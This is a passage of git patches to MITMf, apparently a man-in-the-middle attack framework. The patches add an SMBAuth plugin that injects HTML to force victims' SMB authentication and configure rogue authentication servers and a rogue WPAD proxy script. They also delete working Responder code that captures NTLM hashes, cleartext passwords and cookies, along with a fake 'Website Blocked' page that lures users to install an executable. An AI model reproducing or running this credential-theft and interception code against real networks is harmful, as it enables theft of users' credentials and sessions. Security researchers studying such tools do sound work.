LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py new file mode 100644 index 0000000..9a25de4 --- /dev/null +++ b/plugins/SMBAuth.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.Inject import Inject + +class SMBAuth(Inject, Plugin): + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + depends = ["Inject"] + version = "0.1" + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.target_ip = SystemConfig.getIP(options.interface) + + self.html_payload = self._get_data() + + def _get_data(self): + return ''\ + ''\ + '' % tuple([self.target_ip]*3) From dfa9c9d65edb1d4bc3cb0687632b55225e6da1b6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 5 May 2015 00:39:59 +0200 Subject: [PATCH 023/181] Added debug logging to ProxyPlugins, it will now print a traceback if errors occur in hooked functions --- core/sergioproxy/ProxyPlugins.py | 11 ++++++++++- core/sslstrip/ServerConnection.py | 2 +- plugins/Inject.py | 2 ++ plugins/Upsidedownternet.py | 1 + 4 files changed, 14 insertions(+), 2 deletions(-) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index c58cc8d..a182326 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -19,6 +19,7 @@ import sys import logging import inspect +import traceback mitmf_logger = logging.getLogger("mitmf") @@ -59,9 +60,12 @@ class ProxyPlugins: for p in plugins: self.addPlugin(p) + mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) + def addPlugin(self,p): '''Load a plugin''' self.plist.append(p) + mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) for mthd in p.implements: try: self.pmthds[mthd].append(getattr(p,mthd)) @@ -71,6 +75,7 @@ class ProxyPlugins: def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) + mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) for mthd in p.implements: self.pmthds[mthd].remove(p) @@ -95,8 +100,12 @@ class ProxyPlugins: for f in self.pmthds[fname]: a = f(**args) if a != None: args = a - except KeyError: + except KeyError as e: pass + except Exception as e: + #This is needed because errors in hooked functions won't raise an Exception + Tracback (which can be infuriating) + mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") + traceback.print_exc() #pass our changes to the locals back down return args diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3c53eb6..3aadfc5 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -189,7 +189,7 @@ class ServerConnection(HTTPClient): self.client.setHeader('Content-Length', len(data)) try: - self.client.write(data) #Gets rid of some generic errors + self.client.write(data) except: pass diff --git a/plugins/Inject.py b/plugins/Inject.py index ccad52d..2b75e37 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -28,6 +28,8 @@ from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill +mitmf_logger = logging.getLogger("mitmf") + class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 402c9e5..f14778e 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -66,4 +66,5 @@ class Upsidedownternet(Plugin): mitmf_logger.info("{} Flipped image".format(request.client.getClientIP())) except Exception as e: mitmf_logger.info("{} Error: {}".format(request.client.getClientIP(), e)) + return {'request': request, 'data': data} From 70ec5a2bbcb1269389123b58366bb702a2df2265 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 5 May 2015 19:04:01 +0200 Subject: [PATCH 024/181] All plugins are now modified to support dynamic config file changes Responder functionality fully restored --- config/mitmf.conf | 46 +- config/responder/Denied.html | 31 - config/responder/FixInternet.exe | Bin 25113 -> 0 bytes .../responder/certs/gen-self-signed-cert.sh | 2 - config/responder/certs/responder.crt | 19 - config/responder/certs/responder.key | 27 - core/configwatcher.py | 4 +- core/dnschef/DNSchef.py | 1 + core/netcreds/NetCreds.py | 2 + core/protocols/http/HTTPProxy.py | 240 ------- core/protocols/mssql/MSSQLServer.py | 128 ---- core/protocols/pop3/POP3Server.py | 69 -- core/protocols/smb/SMBserver.py | 8 +- core/protocols/smtp/SMTPServer.py | 63 -- core/responder/common.py | 2 +- .../{protocols => responder}/ftp/FTPServer.py | 48 +- core/{protocols => responder}/ftp/__init__.py | 0 .../http => responder/https}/HTTPSProxy.py | 0 .../http => responder/https}/__init__.py | 0 .../imap/IMAPPackets.py | 17 +- .../imap/IMAPServer.py | 39 +- .../{protocols => responder}/imap/__init__.py | 0 .../ldap/LDAPPackets.py | 18 +- .../ldap/LDAPServer.py | 52 +- .../{protocols => responder}/ldap/__init__.py | 0 .../mssql/MSSQLPackets.py | 17 +- core/responder/mssql/MSSQLServer.py | 127 ++++ .../mssql/__init__.py | 0 core/responder/pop3/POP3Server.py | 63 ++ .../{protocols => responder}/pop3/__init__.py | 0 .../smtp/SMTPPackets.py | 17 +- core/responder/smtp/SMTPServer.py | 62 ++ .../{protocols => responder}/smtp/__init__.py | 0 core/sergioproxy/ProxyPlugins.py | 2 +- core/sslstrip/ServerConnection.py | 2 +- libs/bdfactory | 2 +- mitmf.py | 9 +- plugins/AppCachePoison.py | 206 ++++++ plugins/BeefAutorun.py | 127 ++++ plugins/BrowserProfiler.py | 129 ++++ plugins/FilePwn.py | 650 ++++++++++++++++++ plugins/Inject.py | 55 +- plugins/JavaPwn.py | 231 +++++++ plugins/JsKeylogger.py | 4 +- plugins/Replace.py | 105 +++ plugins/Responder.py | 34 +- plugins/SSLstrip+.py | 51 ++ plugins/SessionHijacker.py | 187 +++++ plugins/Spoof.py | 2 - plugins/Upsidedownternet.py | 2 + 50 files changed, 2102 insertions(+), 798 deletions(-) delete mode 100644 config/responder/Denied.html delete mode 100755 config/responder/FixInternet.exe delete mode 100755 config/responder/certs/gen-self-signed-cert.sh delete mode 100644 config/responder/certs/responder.crt delete mode 100644 config/responder/certs/responder.key delete mode 100644 core/protocols/http/HTTPProxy.py delete mode 100644 core/protocols/mssql/MSSQLServer.py delete mode 100644 core/protocols/pop3/POP3Server.py delete mode 100644 core/protocols/smtp/SMTPServer.py rename core/{protocols => responder}/ftp/FTPServer.py (54%) rename core/{protocols => responder}/ftp/__init__.py (100%) rename core/{protocols/http => responder/https}/HTTPSProxy.py (100%) rename core/{protocols/http => responder/https}/__init__.py (100%) rename core/{protocols => responder}/imap/IMAPPackets.py (76%) rename core/{protocols => responder}/imap/IMAPServer.py (50%) rename core/{protocols => responder}/imap/__init__.py (100%) rename core/{protocols => responder}/ldap/LDAPPackets.py (97%) rename core/{protocols => responder}/ldap/LDAPServer.py (72%) rename core/{protocols => responder}/ldap/__init__.py (100%) rename core/{protocols => responder}/mssql/MSSQLPackets.py (96%) create mode 100644 core/responder/mssql/MSSQLServer.py rename core/{protocols => responder}/mssql/__init__.py (100%) create mode 100644 core/responder/pop3/POP3Server.py rename core/{protocols => responder}/pop3/__init__.py (100%) rename core/{protocols => responder}/smtp/SMTPPackets.py (81%) create mode 100644 core/responder/smtp/SMTPServer.py rename core/{protocols => responder}/smtp/__init__.py (100%) create mode 100644 plugins/AppCachePoison.py create mode 100644 plugins/BeefAutorun.py create mode 100644 plugins/BrowserProfiler.py create mode 100644 plugins/FilePwn.py create mode 100644 plugins/JavaPwn.py create mode 100644 plugins/Replace.py create mode 100644 plugins/SSLstrip+.py create mode 100644 plugins/SessionHijacker.py diff --git a/config/mitmf.conf b/config/mitmf.conf index 04bd575..c76f951 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -21,6 +21,10 @@ msfport = 8080 #Port to start webserver for exploits rpcip = 127.0.0.1 rpcpass = abc123 + + [[SMB]] + #Set a custom challenge + Challenge = 1122334455667788 [[DNS]] @@ -88,46 +92,32 @@ [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. - SQL = On - SMB = On + MSSQL = On Kerberos = On - FTP = On - POP = On - ##Listen on 25/TCP, 587/TCP - SMTP = On - IMAP = On - HTTP = On - HTTPS = On - LDAP = On + FTP = On + POP = On + SMTP = On #Listens on 25/TCP, 587/TCP + IMAP = On + LDAP = On - #Set a custom challenge - Challenge = 1122334455667788 - - #Set this to change the default logging file - SessionLog = Responder-Session.log - - #Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 - #RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Set this option with your in-scope targets (default = All) + #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT - #RespondTo = WPAD,DEV,PROD,SQLINT + + #Set this option with specific NBT-NS/LLMNR names to answer to (default = All) + #Ex. RespondTo = WPAD,DEV,PROD,SQLINT RespondToName = #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS + + #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None) + #Ex. DontRespondTo = NAC, IPS, IDS DontRespondToName = #Set your custom PAC script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' - [[HTTPS Server]] - - #Change to use your certs - cert = config/responder/certs/responder.crt - key = config/responder/certs/responder.key - - [BeEFAutorun] #Example config for the BeefAutorun plugin diff --git a/config/responder/Denied.html b/config/responder/Denied.html deleted file mode 100644 index d79f811..0000000 --- a/config/responder/Denied.html +++ /dev/null @@ -1,31 +0,0 @@ - - -Website Blocked: ISA Proxy Server - - - - -
-
-
New Security Policy: Website Blocked
-
    -
    -
    -
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • -
    -
-
- -
- - - diff --git a/config/responder/FixInternet.exe b/config/responder/FixInternet.exe deleted file mode 100755 index b1a8e630176e120fc0f4f7af483880fb419d4937..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 25113 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 d%6Oe&n 24: - NthashLen = 64 - DomainLen = struct.unpack('2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - #print PostData - responder_logger.info(PostData) - -#Handle HTTP packet sequence. -def PacketSequence(data,client): - Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) - BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) - - if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) - - if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) - - if Ntlm: - packetNtlm = b64decode(''.join(Ntlm))[8:9] - if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) - r = NTLM_Challenge(ServerChallenge=Challenge) - r.calculate() - t = IIS_NTLM_Challenge_Ans() - t.calculate(str(r)) - buffer1 = str(t) - return buffer1 - if packetNtlm == "\x03": - NTLM_Auth= b64decode(''.join(Ntlm)) - ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - responder_logger.info(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) - outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt" - WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - responder_logger.info(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - else: - return str(Basic_Ntlm(Basic)) - -#HTTP Server Class -class HTTP(BaseRequestHandler): - - def handle(self): - try: - while True: - self.request.settimeout(1) - data = self.request.recv(8092) - buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - responder_logger.info(Message) - self.request.send(buff) - else: - buffer0 = PacketSequence(data,self.client_address[0]) - self.request.send(buffer0) - except Exception: - pass#No need to be verbose.. - \ No newline at end of file diff --git a/core/protocols/mssql/MSSQLServer.py b/core/protocols/mssql/MSSQLServer.py deleted file mode 100644 index 60d7adb..0000000 --- a/core/protocols/mssql/MSSQLServer.py +++ /dev/null @@ -1,128 +0,0 @@ -import struct - -class MSSQLServer(): - - def serve_thread_tcp(host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - def start(SQL_On_Off): - if SQL_On_Off == "ON": - t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL)) - t.setDaemon(True) - t.start() - return t - if SQL_On_Off == "OFF": - return False - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = True - - def server_bind(self): - TCPServer.server_bind(self) - -#This function parse SQL NTLMv1/v2 hash and dump it into a specific file. -def ParseSQLHash(data,client): - SSPIStart = data[8:] - LMhashLen = struct.unpack(' 60: - DomainLen = struct.unpack('H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() -################################################################################## -#SQL Stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/protocols/pop3/POP3Server.py b/core/protocols/pop3/POP3Server.py deleted file mode 100644 index 8e7d700..0000000 --- a/core/protocols/pop3/POP3Server.py +++ /dev/null @@ -1,69 +0,0 @@ -################################################################################## -#POP3 Stuff starts here -################################################################################## - -class POP3Server(): - - def serve_thread_tcp(host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(POP_On_Off): - if POP_On_Off == "ON": - t = threading.Thread(name="POP", target=serve_thread_tcp, args=("0.0.0.0", 110,POP)) - t.setDaemon(True) - t.start() - return t - if POP_On_Off == "OFF": - return False - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - - -class POPOKPacket(Packet): - fields = OrderedDict([ - ("Code", "+OK"), - ("CRLF", "\r\n"), - ]) - 